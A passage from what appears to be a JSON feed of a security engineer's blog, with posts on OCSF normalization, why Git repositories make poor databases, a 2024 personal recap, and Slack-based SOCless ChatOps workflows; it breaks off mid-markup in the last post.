id=\"the-trade-youre-actually-making\">The trade you're actually making<a href=\"https://eliasa.link/blog/why-ocsf-is-awesome/#the-trade-youre-actually-making\" class=\"hash-link\" aria-label=\"Direct link to The trade you're actually making\" title=\"Direct link to The trade you're actually making\" translate=\"no\">​</a></h2>\n<p>OCSF doesn't remove the work of understanding every vendor's format. Someone still has to read Okta's docs, write the mapper, and update it when a field gets renamed. What changes is where that work happens.</p>\n<p>Do it once at the edge, and every detection, dashboard, and query downstream gets to assume a stable shape for \"a user logged in.\" Skip that step, and the same vendor-specific knowledge leaks into every rule you write, and every analyst has to relearn it.</p>\n<p>That's the whole argument: normalization is a cost you pay once at the ingestion boundary, or repeatedly in the middle of your platform. OCSF just gives you a common target to pay it against.</p>",
            "url": "https://eliasa.link/blog/why-ocsf-is-awesome/",
            "title": "Why OCSF is awesome",
            "summary": "Why OCSF is useful because it gives security data a common semantic contract between producers and consumers.",
            "date_modified": "2026-04-08T00:00:00.000Z",
            "tags": [
                "ocsf",
                "security",
                "data-engineering"
            ]
        },
        {
            "id": "https://eliasa.link/blog/when-your-git-repo-becomes-a-database/",
            "content_html": "<p>Every security team has that Git repository.</p>\n<p>It started innocently enough. A few configuration files, some threat intelligence, maybe a list of indicators or assets.</p>\n<p>Then someone adds a script to collect data automatically.\nAnother script consumes it.\nA pipeline starts depending on it.\nA security tool uses the repository as its source of truth.</p>\n<p>At some point, you realize something slightly strange:</p>\n<p><strong>Your Git repository has become a database.</strong></p>\n<p>The commits are now your ingestion pipeline.\nAnd the pull requests are somehow part of your data management workflow.</p>\n<p>Technically functional.\nMorally questionable.</p>\n<p><img decoding=\"async\" loading=\"lazy\" alt=\"The real-time security ETL pipeline (Kafka elephant) vs the Git repo updated every Friday by a bash script on someone&amp;#39;s laptop (ants)\" src=\"https://eliasa.link/assets/images/etl_meme-773f858e8f5899a7646f483cdf6a3eb9.jpeg\" width=\"500\" height=\"933\" class=\"img_ev3q\"></p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"git-is-good-at-what-git-does\">Git is good at what Git does<a href=\"https://eliasa.link/blog/when-your-git-repo-becomes-a-database/#git-is-good-at-what-git-does\" class=\"hash-link\" aria-label=\"Direct link to Git is good at what Git does\" title=\"Direct link to Git is good at what Git does\" translate=\"no\">​</a></h2>\n<p>Git is excellent at managing versions of files.</p>\n<p>You can see what changed, when it changed, and who changed it. You can review changes before merging them and roll back to a previous state.</p>\n<p>That makes Git useful for things such as:</p>\n<ul>\n<li class=\"\">configuration</li>\n<li class=\"\">detection rules</li>\n<li class=\"\">automation code</li>\n<li class=\"\">infrastructure definitions</li>\n<li class=\"\">documentation</li>\n<li class=\"\">other version-controlled artifacts</li>\n</ul>\n<p>The problem starts when we use those properties to solve a different problem: <strong>storing and distributing frequently changing data.</strong></p>\n<p>Imagine a security pipeline collecting thousands of indicators every hour.</p>\n<p>Instead of putting those indicators into a database, the pipeline writes them to a JSON file and commits the file.</p>\n<p>Another system periodically pulls the repository and reads the JSON.</p>\n<p>Now Git is storing the data, distributing the data, and acting as the communication mechanism between systems.</p>\n<p>It works.</p>\n<p>But the architecture is now built around the wrong abstraction.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"the-problem-is-not-git\">The problem is not Git<a href=\"https://eliasa.link/blog/when-your-git-repo-becomes-a-database/#the-problem-is-not-git\" class=\"hash-link\" aria-label=\"Direct link to The problem is not Git\" title=\"Direct link to The problem is not Git\" translate=\"no\">​</a></h2>\n<p><strong>Git is not inherently bad for storing data.</strong></p>\n<p>There are legitimate cases where security data belongs in a repository.</p>\n<p>For example, a set of detection rules may benefit from version history and code review. A configuration file may need exactly the same properties.</p>\n<p>The problem is using Git as a substitute for infrastructure that already exists for another purpose.</p>\n<p>Consider a simple data flow:</p>\n<!-- -->\n<p>The repository is now effectively acting as the interface between the collector and consumer.</p>\n<p>Git was designed around versioning files, not continuously exchanging application data.</p>\n<p>That difference becomes important as the system grows.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"choose-the-pattern-based-on-the-problem\">Choose the pattern based on the problem<a href=\"https://eliasa.link/blog/when-your-git-repo-becomes-a-database/#choose-the-pattern-based-on-the-problem\" class=\"hash-link\" aria-label=\"Direct link to Choose the pattern based on the problem\" title=\"Direct link to Choose the pattern based on the problem\" translate=\"no\">​</a></h2>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"you-are-storing-data\">You are storing data<a href=\"https://eliasa.link/blog/when-your-git-repo-becomes-a-database/#you-are-storing-data\" class=\"hash-link\" aria-label=\"Direct link to You are storing data\" title=\"Direct link to You are storing data\" translate=\"no\">​</a></h3>\n<p>Use a database.</p>\n<p>If the system needs to query, update, filter, or correlate structured data, a database is a better abstraction.</p>\n<p>Depending on the requirements, that might be a relational database such as PostgreSQL, or a NoSQL database.</p>\n<p>The point is to separate <strong>data storage</strong> from <strong>source-code version control</strong>.</p>\n<p>Instead of:</p>\n<!-- -->\n<p>you can have:</p>\n<!-- -->\n<p>The data can be queried directly without treating a commit as a database operation.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"you-are-sharing-data\">You are sharing data<a href=\"https://eliasa.link/blog/when-your-git-repo-becomes-a-database/#you-are-sharing-data\" class=\"hash-link\" aria-label=\"Direct link to You are sharing data\" title=\"Direct link to You are sharing data\" translate=\"no\">​</a></h3>\n<p>Use an API.</p>\n<p>If several systems need access to the same data, an API gives them a defined interface.</p>\n<p>For example:</p>\n<!-- -->\n<p>Consumers do not need to know how the underlying data is stored.</p>\n<p>They only need to understand the API contract.</p>\n<p>An API also gives you a natural place to handle authentication, authorization, validation, filtering, and pagination when needed.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"you-are-pushing-updates\">You are pushing updates<a href=\"https://eliasa.link/blog/when-your-git-repo-becomes-a-database/#you-are-pushing-updates\" class=\"hash-link\" aria-label=\"Direct link to You are pushing updates\" title=\"Direct link to You are pushing updates\" translate=\"no\">​</a></h3>\n<p>Use messaging.</p>\n<p>If the requirement is:</p>\n<blockquote>\n<p>\"Tell another system that something changed.\"</p>\n</blockquote>\n<p>then a queue or pub/sub system is often a better fit than periodically checking a Git repository.</p>\n<p>For example:</p>\n<!-- -->\n<p>The event itself is the unit being communicated.</p>\n<p>Consumers do not need to repeatedly ask whether a repository changed.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"you-are-deploying-something\">You are deploying something<a href=\"https://eliasa.link/blog/when-your-git-repo-becomes-a-database/#you-are-deploying-something\" class=\"hash-link\" aria-label=\"Direct link to You are deploying something\" title=\"Direct link to You are deploying something\" translate=\"no\">​</a></h3>\n<p>Use CI/CD.</p>\n<p>Sometimes a repository is being used as a database because the actual requirement is to <strong>distribute a new version of something</strong>.</p>\n<p>In that case, Git and CI/CD may be exactly the right tools.</p>\n<p>For example:</p>\n<!-- -->\n<p>Here Git is doing what it is good at: versioning the desired state.</p>\n<p>The pipeline is responsible for turning that state into a deployed artifact or configuration.</p>\n<p>That is different from committing every newly collected piece of runtime data into the repository.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"the-difficult-part-is-knowing-which-problem-you-have\">The difficult part is knowing which problem you have<a href=\"https://eliasa.link/blog/when-your-git-repo-becomes-a-database/#the-difficult-part-is-knowing-which-problem-you-have\" class=\"hash-link\" aria-label=\"Direct link to The difficult part is knowing which problem you have\" title=\"Direct link to The difficult part is knowing which problem you have\" translate=\"no\">​</a></h2>\n<p>Security automation often starts with a small script.</p>\n<p>You need to get data from A to B, so you write something simple:</p>\n<!-- -->\n<p>There is nothing inherently wrong with starting this way.\nThe problem is when the workaround becomes infrastructure.\nSoon you need another consumer.\nThen you need to know when the data changed.\nThen someone needs historical data.\nThen another process starts polling the repository.\nThen you need to deal with merge conflicts, repository size, polling intervals, stale checkouts, or delayed updates.</p>\n<p>None of these necessarily make Git unusable.</p>\n<p>They are signals that the original problem may no longer be <strong>versioning files</strong>.</p>\n<p>It may now be <strong>moving and storing application data</strong>.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"think-like-a-developer\">Think like a developer<a href=\"https://eliasa.link/blog/when-your-git-repo-becomes-a-database/#think-like-a-developer\" class=\"hash-link\" aria-label=\"Direct link to Think like a developer\" title=\"Direct link to Think like a developer\" translate=\"no\">​</a></h2>\n<p>Security engineers do not need to become software engineers.</p>\n<p>But when we build automation, we should borrow some of the patterns that software engineers use to design systems.</p>\n<p>The question should not simply be:</p>\n<blockquote>\n<p>\"Can I automate this?\"</p>\n</blockquote>\n<p>It should also be:</p>\n<blockquote>\n<p>\"What kind of system am I actually building?\"</p>\n</blockquote>\n<p>If you are storing data, think about data storage.\nIf you are exposing data to other systems, think about APIs.\nIf you are propagating events, think about messaging.\nIf you are deploying changes, think about CI/CD.</p>\n<p>And if Git is involved, ask whether <strong>version control is actually the requirement</strong>, or simply the easiest thing available.</p>\n<p>That distinction can prevent a small automation script from quietly becoming a very strange distributed system.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"conclusion\">Conclusion<a href=\"https://eliasa.link/blog/when-your-git-repo-becomes-a-database/#conclusion\" class=\"hash-link\" aria-label=\"Direct link to Conclusion\" title=\"Direct link to Conclusion\" translate=\"no\">​</a></h2>\n<p>There is nothing wrong with using Git in security automation.</p>\n<p>There is something questionable about making Git impersonate a database, message broker, API, and deployment system at the same time.</p>\n<p>The practical lesson is simple:</p>\n<p><strong>Use the tool that matches the problem.</strong></p>\n<p>Security engineers already build systems that collect, process, and distribute large amounts of data.</p>\n<p>We do not need to reinvent software engineering patterns every time we automate something.</p>\n<p>Sometimes the best improvement to a security automation is not a more complicated script.</p>\n<p>It is recognizing that the script has become a system — and designing it like one.</p>",
            "url": "https://eliasa.link/blog/when-your-git-repo-becomes-a-database/",
            "title": "When Your Git Repo Becomes a Database",
            "summary": "Why using Git as a database, message broker, and API creates problems, and which architectural patterns to use instead.",
            "date_modified": "2025-08-03T00:00:00.000Z",
            "tags": [
                "security",
                "automation",
                "data-engineering",
                "git"
            ]
        },
        {
            "id": "https://eliasa.link/blog/recap-2024/",
            "content_html": "<p>2024 was a year of growth and a fair bit of improvisation. Sure, I didn’t check off everything on my to-do list, but I ended up achieving things I hadn’t planned for—things that genuinely made me happy.</p>\n<p>One of the biggest shifts? I moved to beautiful Spain 🇪🇸</p>\n<p>✅ Landed a new job at Semrush.</p>\n<p>✅ Earned the Splunk Search Expert Specialization on Coursera—super practical and worth it.</p>\n<p>✅ Got the AWS Cloud Practitioner certification.</p>\n<p>✅ Read some good books on coding and cybersecurity:</p>\n<ul>\n<li class=\"\">Practical Threat Detection Engineering, by Jason Deyalsingh, Gary J. Katz, Megan Roddie</li>\n<li class=\"\">Fluent Python: Clear, Concise, and Effective Programming, by Luciano Ramalho</li>\n<li class=\"\">Container Security: Fundamental Technology Concepts that Protect Containerized Applications, by Liz Rice</li>\n<li class=\"\">Python Tricks: A Buffet of Awesome Python Features, by Dan Bader</li>\n<li class=\"\">Kubernetes Security and Observability by Amit Gupta and Brendan Creane</li>\n<li class=\"\">Application Security Program Handbook, by Derek Fisher</li>\n<li class=\"\">Defensive Security Handbook, by Lee Brotherston and Amanda Berlin</li>\n<li class=\"\">Exploring Splunk, by David Carasso</li>\n</ul>\n<p>✅ Reduced my phone screen time to under 60 minutes a day.</p>\n<p>✅ Travelled to Thailand 🇹🇭 and Portugal 🇵🇹</p>\n<div class=\"theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 12 16\"><path fill-rule=\"evenodd\" d=\"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z\"></path></svg></span>Quote</div><div class=\"admonitionContent_BuS1\"><p>\"A dream written down with a date becomes a goal. A goal broken down into steps becomes a plan. A plan backed by action makes your dreams come true.\" - Greg S. Reid</p></div></div>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"2025\">2025<a href=\"https://eliasa.link/blog/recap-2024/#2025\" class=\"hash-link\" aria-label=\"Direct link to 2025\" title=\"Direct link to 2025\" translate=\"no\">​</a></h2>\n<p>Let's draw some plans for 2025 now</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"tech\">Tech<a href=\"https://eliasa.link/blog/recap-2024/#tech\" class=\"hash-link\" aria-label=\"Direct link to Tech\" title=\"Direct link to Tech\" translate=\"no\">​</a></h3>\n<p>Courses I want to take:</p>\n<ul class=\"contains-task-list containsTaskList_mC6p\">\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Splunk Knowledge Manager Specialization</li>\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Splunk Core Certified Power User</li>\n</ul>\n<p>Ranks on HTB (rolled from 2024):</p>\n<ul class=\"contains-task-list containsTaskList_mC6p\">\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Noob</li>\n</ul>\n<p>Get certified in:</p>\n<ul class=\"contains-task-list containsTaskList_mC6p\">\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->CompTIA SecurityX</li>\n</ul>\n<p>Read:</p>\n<ul class=\"contains-task-list containsTaskList_mC6p\">\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Crafting the InfoSec Playbook: Security Monitoring and Incident Response Master Plan, by Jeff Bollinger, Brandon Enright, Matthew Valites</li>\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws, by Dafydd Stuttard and Marcus Pinto</li>\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Grokking Algorithms: An Illustrated Guide for Programmers and Other Curious People, by Aditya Bhargava</li>\n</ul>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"personal\">Personal<a href=\"https://eliasa.link/blog/recap-2024/#personal\" class=\"hash-link\" aria-label=\"Direct link to Personal\" title=\"Direct link to Personal\" translate=\"no\">​</a></h3>\n<p>Digital Wellbeing:</p>\n<ul class=\"contains-task-list containsTaskList_mC6p\">\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Stop reading the news from places that I have left years ago</li>\n</ul>\n<p>Exercise:</p>\n<ul class=\"contains-task-list containsTaskList_mC6p\">\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Run regularly</li>\n</ul>\n<p>Read:</p>\n<p>Dune trilogy, by Frank Herbert :</p>\n<ul class=\"contains-task-list containsTaskList_mC6p\">\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Dune</li>\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Dune Messiah</li>\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Children of Dune</li>\n</ul>\n<p>Write:</p>\n<ul class=\"contains-task-list containsTaskList_mC6p\">\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Write more posts, create a telegram channel</li>\n</ul>\n<p>Travel:</p>\n<ul class=\"contains-task-list containsTaskList_mC6p\">\n<li class=\"task-list-item\"><input type=\"checkbox\" disabled=\"\"> <!-- -->Australia</li>\n</ul>",
            "url": "https://eliasa.link/blog/recap-2024/",
            "title": "2024 Recap and Plans for 2025",
            "summary": "2024 was a year of growth and a fair bit of improvisation. Sure, I didn’t check off everything on my to-do list, but I ended up achieving things I hadn’t planned for—things that genuinely made me happy.",
            "date_modified": "2025-01-15T00:00:00.000Z",
            "tags": [
                "plans"
            ]
        },
        {
            "id": "https://eliasa.link/blog/socless-security-chatops/",
            "content_html": "<p>Slack is a place where people communicate, make decisions, and work on operational tasks. That makes it a natural interface for security workflows too.</p>\n<p>But there is an important distinction between <strong>sending security alerts to Slack</strong> and <strong>using Slack to perform security operations</strong>.</p>\n<p>The first one is just notification.</p>\n<p>The second is <strong>ChatOps</strong>.</p>\n<p>At inDrive, I build Slack-based security workflows around a simple idea: <strong>if a security alert requires context from a user, why should a security analyst be the one to investigate it first?</strong></p>\n<p>For example, imagine a detection for a suspicious login.</p>\n<p>The traditional approach is straightforward:</p>\n<blockquote>\n<p>Suspicious login → SOC → investigate → identify owner → contact owner → wait</p>\n</blockquote>\n<p>A SOCless approach asks whether the alert can instead be routed directly to the person or team that has the relevant context.</p>\n<div class=\"slack-message-container my-6 max-w-xl rounded-lg overflow-hidden border border-border shadow-sm\"><div id=\"slack_blocks_to_jsx\" data-theme=\"light\" class=\"dark:text-dark-text-primary dark:bg-dark-bg-primary\"><section class=\"dark:text-dark-text-primary dark:bg-dark-bg-primary slack_blocks_to_jsx relative flex gap-2 w-full max-w-[600px] styles_enabled\"><div class=\"shrink-0\"><img src=\"https://eliasa.link/img/bot_regular_icon_204591.svg\" class=\"w-9 h-9\" alt=\"Security Bot\"></div><div class=\"flex flex-col w-full\"><div class=\"flex gap-[5px] items-center w-full slack_blocks_to_jsx--header\"><h3 class=\"font-black text-[15px] dark:text-dark-text-primary\">Security Bot</h3><div class=\"h-[14px] w-[27px] leading-[12.5px] py-[1px] px-[3px] uppercase text-[10px] text-black-primary/[0.7] bg-black-primary/[0.13] dark:text-dark-text-primary/[0.7] dark:bg-dark-text-primary/[0.13] font-semibold rounded-[2px] text-center\">APP</div><div class=\"text-xs text-black-secondary dark:text-dark-text-secondary uppercase leading-[17.6px]\">20:32</div></div><div class=\"slack_blocks_to_jsx--blocks\"><div class=\"text-base slack_blocks_to_jsx--block_wrapper break-words font-normal dark:text-dark-text-primary dark:bg-dark-bg-primary\"><div class=\"mt-2 mb-1 text-primary slack_blocks_to_jsx__section flex w-full text-black-primary dark:text-dark-text-primary\"><div class=\"grow\"><div class=\"flex flex-col gap-3\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>We detected a login to your account from Limassol. Was this you?</span></span></p></div></div></div></div><div class=\"ml-2 mb-1 relative shrink-0\"></div></div></div><div class=\"text-base slack_blocks_to_jsx--block_wrapper break-words font-normal dark:text-dark-text-primary dark:bg-dark-bg-primary\"><div class=\"mb-2 text-primary flex w-full text-black-primary dark:text-dark-text-primary items-center slack_blocks_to_jsx__actions\"><div class=\"flex flex-wrap\"><div class=\"mt-2 mr-2\"><button type=\"button\" class=\"px-2 pt-0 pb-[1px] text-small h-[28px] min-w-[56px] border rounded whitespace-nowrap font-semibold slack_blocks_to_jsx__button_element bg-green-primary text-white-primary\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>Yes</span></span></p></div></div></button></div><div class=\"mt-2 mr-2\"><button type=\"button\" class=\"px-2 pt-0 pb-[1px] text-small h-[28px] min-w-[56px] border rounded whitespace-nowrap font-semibold slack_blocks_to_jsx__button_element bg-red-primary text-white-primary\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>No</span></span></p></div></div></button></div></div></div></div></div></div></section></div></div>\n<p>If the user confirms the activity, the workflow may be able to close or downgrade the event without involving the security team, depending on the detection and its risk.</p>\n<p>If the user denies it, the event can be escalated with that additional context already attached.</p>\n<p>This is the foundation of <a href=\"https://twilio-labs.github.io/socless/\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">SOCless</a> built by Twilio Security Operations team.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"from-alerts-to-interactions\">From alerts to interactions<a href=\"https://eliasa.link/blog/socless-security-chatops/#from-alerts-to-interactions\" class=\"hash-link\" aria-label=\"Direct link to From alerts to interactions\" title=\"Direct link to From alerts to interactions\" translate=\"no\">​</a></h2>\n<p>Security operations traditionally rely heavily on centralized analysis.</p>\n<p>A security tool detects something, the security team receives it, and an analyst determines what happened and whether action is required.</p>\n<p>But many alerts contain a question that the security team cannot answer from technical data alone:</p>\n<blockquote>\n<p><strong>\"Did you mean to do that?\"</strong></p>\n</blockquote>\n<p>A security analyst can investigate the surrounding activity, but the person who performed the action may be able to answer that question immediately.</p>\n<p>This creates an opportunity to move part of the investigation to the person who has the context.</p>\n<p>Slack makes this particularly practical because the interaction can happen where employees already work.</p>\n<p>Instead of:</p>\n<!-- -->\n<p>we can have:</p>\n<!-- -->\n<p>The security team is still involved, but only when the event requires security expertise.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"this-is-where-socless-comes-in\">This is where SOCless comes in<a href=\"https://eliasa.link/blog/socless-security-chatops/#this-is-where-socless-comes-in\" class=\"hash-link\" aria-label=\"Direct link to This is where SOCless comes in\" title=\"Direct link to This is where SOCless comes in\" translate=\"no\">​</a></h2>\n<p>The goal is to remove unnecessary centralized SOC triage by moving appropriate decisions to system owners, automating predictable responses, and having security engineers build and own the detection and response capabilities.</p>\n<p>A large portion of security triage consists of establishing context:</p>\n<ul>\n<li class=\"\">Did the user actually perform this action?</li>\n<li class=\"\">Was this deployment expected?</li>\n<li class=\"\">Does this person still need this access?</li>\n<li class=\"\">Is this cloud resource intentionally public?</li>\n<li class=\"\">Did the developer create this API key?</li>\n<li class=\"\">Was this OAuth application intentionally authorized?</li>\n</ul>\n<p>These questions are often better answered by the owner of the account, application, device, or resource.</p>\n<p>So instead of making the SOC responsible for answering every question, we can distribute some of that work.</p>\n<p>The SOC defines the detection, the policy and the response.</p>\n<p>The owner provides the context.</p>\n<p>Automation handles the predictable parts.</p>\n<p>Slack is the interface connecting them.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"some-practical-examples\">Some practical examples<a href=\"https://eliasa.link/blog/socless-security-chatops/#some-practical-examples\" class=\"hash-link\" aria-label=\"Direct link to Some practical examples\" title=\"Direct link to Some practical examples\" translate=\"no\">​</a></h2>\n<p>The pattern works for much more than suspicious logins.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"external-file-sharing\">External file sharing<a href=\"https://eliasa.link/blog/socless-security-chatops/#external-file-sharing\" class=\"hash-link\" aria-label=\"Direct link to External file sharing\" title=\"Direct link to External file sharing\" translate=\"no\">​</a></h3>\n<p>A DLP system detects that an employee shared a sensitive document externally.</p>\n<p>Instead of immediately creating an alert:</p>\n<div class=\"slack-message-container my-6 max-w-xl rounded-lg overflow-hidden border border-border shadow-sm\"><div id=\"slack_blocks_to_jsx\" data-theme=\"light\" class=\"dark:text-dark-text-primary dark:bg-dark-bg-primary\"><section class=\"dark:text-dark-text-primary dark:bg-dark-bg-primary slack_blocks_to_jsx relative flex gap-2 w-full max-w-[600px] styles_enabled\"><div class=\"shrink-0\"><img src=\"https://eliasa.link/img/bot_regular_icon_204591.svg\" class=\"w-9 h-9\" alt=\"Security Bot\"></div><div class=\"flex flex-col w-full\"><div class=\"flex gap-[5px] items-center w-full slack_blocks_to_jsx--header\"><h3 class=\"font-black text-[15px] dark:text-dark-text-primary\">Security Bot</h3><div class=\"h-[14px] w-[27px] leading-[12.5px] py-[1px] px-[3px] uppercase text-[10px] text-black-primary/[0.7] bg-black-primary/[0.13] dark:text-dark-text-primary/[0.7] dark:bg-dark-text-primary/[0.13] font-semibold rounded-[2px] text-center\">APP</div><div class=\"text-xs text-black-secondary dark:text-dark-text-secondary uppercase leading-[17.6px]\">20:32</div></div><div class=\"slack_blocks_to_jsx--blocks\"><div class=\"text-base slack_blocks_to_jsx--block_wrapper break-words font-normal dark:text-dark-text-primary dark:bg-dark-bg-primary\"><div class=\"mt-2 mb-1 text-primary slack_blocks_to_jsx__section flex w-full text-black-primary dark:text-dark-text-primary\"><div class=\"grow\"><div class=\"flex flex-col gap-3\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>You shared </span></span><code class=\"slack_code_inline inline-block px-1 text-xs whitespace-pre-wrap break-words rounded-[3px] border border-black-primary/[0.13] dark:border-dark-code-border bg-black-primary/[0.04] dark:bg-dark-code-bg text-red-primary dark:text-dark-text-primary font-mono\">financial-results.xlsx</code><span><span> with an external user. Did you intend to do this?</span></span></p></div></div></div></div><div class=\"ml-2 mb-1 relative shrink-0\"></div></div></div><div class=\"text-base slack_blocks_to_jsx--block_wrapper break-words font-normal dark:text-dark-text-primary dark:bg-dark-bg-primary\"><div class=\"mb-2 text-primary flex w-full text-black-primary dark:text-dark-text-primary items-center slack_blocks_to_jsx__actions\"><div class=\"flex flex-wrap\"><div class=\"mt-2 mr-2\"><button type=\"button\" class=\"px-2 pt-0 pb-[1px] text-small h-[28px] min-w-[56px] border rounded whitespace-nowrap font-semibold slack_blocks_to_jsx__button_element bg-green-primary text-white-primary\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>Yes</span></span></p></div></div></button></div><div class=\"mt-2 mr-2\"><button type=\"button\" class=\"px-2 pt-0 pb-[1px] text-small h-[28px] min-w-[56px] border rounded whitespace-nowrap font-semibold slack_blocks_to_jsx__button_element bg-red-primary text-white-primary\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>No</span></span></p></div></div></button></div></div></div></div></div></div></section></div></div>\n<p>\"No\" could trigger removal of the external permission and escalate the event to security.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"new-oauth-application\">New OAuth application<a href=\"https://eliasa.link/blog/socless-security-chatops/#new-oauth-application\" class=\"hash-link\" aria-label=\"Direct link to New OAuth application\" title=\"Direct link to New OAuth application\" translate=\"no\">​</a></h3>\n<p>A user authorizes a new application to access their corporate account.</p>\n<p>Slack can ask:</p>\n<div class=\"slack-message-container my-6 max-w-xl rounded-lg overflow-hidden border border-border shadow-sm\"><div id=\"slack_blocks_to_jsx\" data-theme=\"light\" class=\"dark:text-dark-text-primary dark:bg-dark-bg-primary\"><section class=\"dark:text-dark-text-primary dark:bg-dark-bg-primary slack_blocks_to_jsx relative flex gap-2 w-full max-w-[600px] styles_enabled\"><div class=\"shrink-0\"><img src=\"https://eliasa.link/img/bot_regular_icon_204591.svg\" class=\"w-9 h-9\" alt=\"Security Bot\"></div><div class=\"flex flex-col w-full\"><div class=\"flex gap-[5px] items-center w-full slack_blocks_to_jsx--header\"><h3 class=\"font-black text-[15px] dark:text-dark-text-primary\">Security Bot</h3><div class=\"h-[14px] w-[27px] leading-[12.5px] py-[1px] px-[3px] uppercase text-[10px] text-black-primary/[0.7] bg-black-primary/[0.13] dark:text-dark-text-primary/[0.7] dark:bg-dark-text-primary/[0.13] font-semibold rounded-[2px] text-center\">APP</div><div class=\"text-xs text-black-secondary dark:text-dark-text-secondary uppercase leading-[17.6px]\">20:32</div></div><div class=\"slack_blocks_to_jsx--blocks\"><div class=\"text-base slack_blocks_to_jsx--block_wrapper break-words font-normal dark:text-dark-text-primary dark:bg-dark-bg-primary\"><div class=\"mt-2 mb-1 text-primary slack_blocks_to_jsx__section flex w-full text-black-primary dark:text-dark-text-primary\"><div class=\"grow\"><div class=\"flex flex-col gap-3\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>You authorized </span></span><code class=\"slack_code_inline inline-block px-1 text-xs whitespace-pre-wrap break-words rounded-[3px] border border-black-primary/[0.13] dark:border-dark-code-border bg-black-primary/[0.04] dark:bg-dark-code-bg text-red-primary dark:text-dark-text-primary font-mono\">ExampleApp</code><span><span> to access your account. Did you authorize this?</span></span></p></div></div></div></div><div class=\"ml-2 mb-1 relative shrink-0\"></div></div></div><div class=\"text-base slack_blocks_to_jsx--block_wrapper break-words font-normal dark:text-dark-text-primary dark:bg-dark-bg-primary\"><div class=\"mb-2 text-primary flex w-full text-black-primary dark:text-dark-text-primary items-center slack_blocks_to_jsx__actions\"><div class=\"flex flex-wrap\"><div class=\"mt-2 mr-2\"><button type=\"button\" class=\"px-2 pt-0 pb-[1px] text-small h-[28px] min-w-[56px] border rounded whitespace-nowrap font-semibold slack_blocks_to_jsx__button_element bg-green-primary text-white-primary\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>Yes</span></span></p></div></div></button></div><div class=\"mt-2 mr-2\"><button type=\"button\" class=\"px-2 pt-0 pb-[1px] text-small h-[28px] min-w-[56px] border rounded whitespace-nowrap font-semibold slack_blocks_to_jsx__button_element bg-red-primary text-white-primary\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>No</span></span></p></div></div></button></div></div></div></div></div></div></section></div></div>\n<p>If the answer is no, the workflow can revoke the authorization and notify security.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"new-production-api-key\">New production API key<a href=\"https://eliasa.link/blog/socless-security-chatops/#new-production-api-key\" class=\"hash-link\" aria-label=\"Direct link to New production API key\" title=\"Direct link to New production API key\" translate=\"no\">​</a></h3>\n<p>A new API key is created for a production service.</p>\n<p>The service owner receives:</p>\n<div class=\"slack-message-container my-6 max-w-xl rounded-lg overflow-hidden border border-border shadow-sm\"><div id=\"slack_blocks_to_jsx\" data-theme=\"light\" class=\"dark:text-dark-text-primary 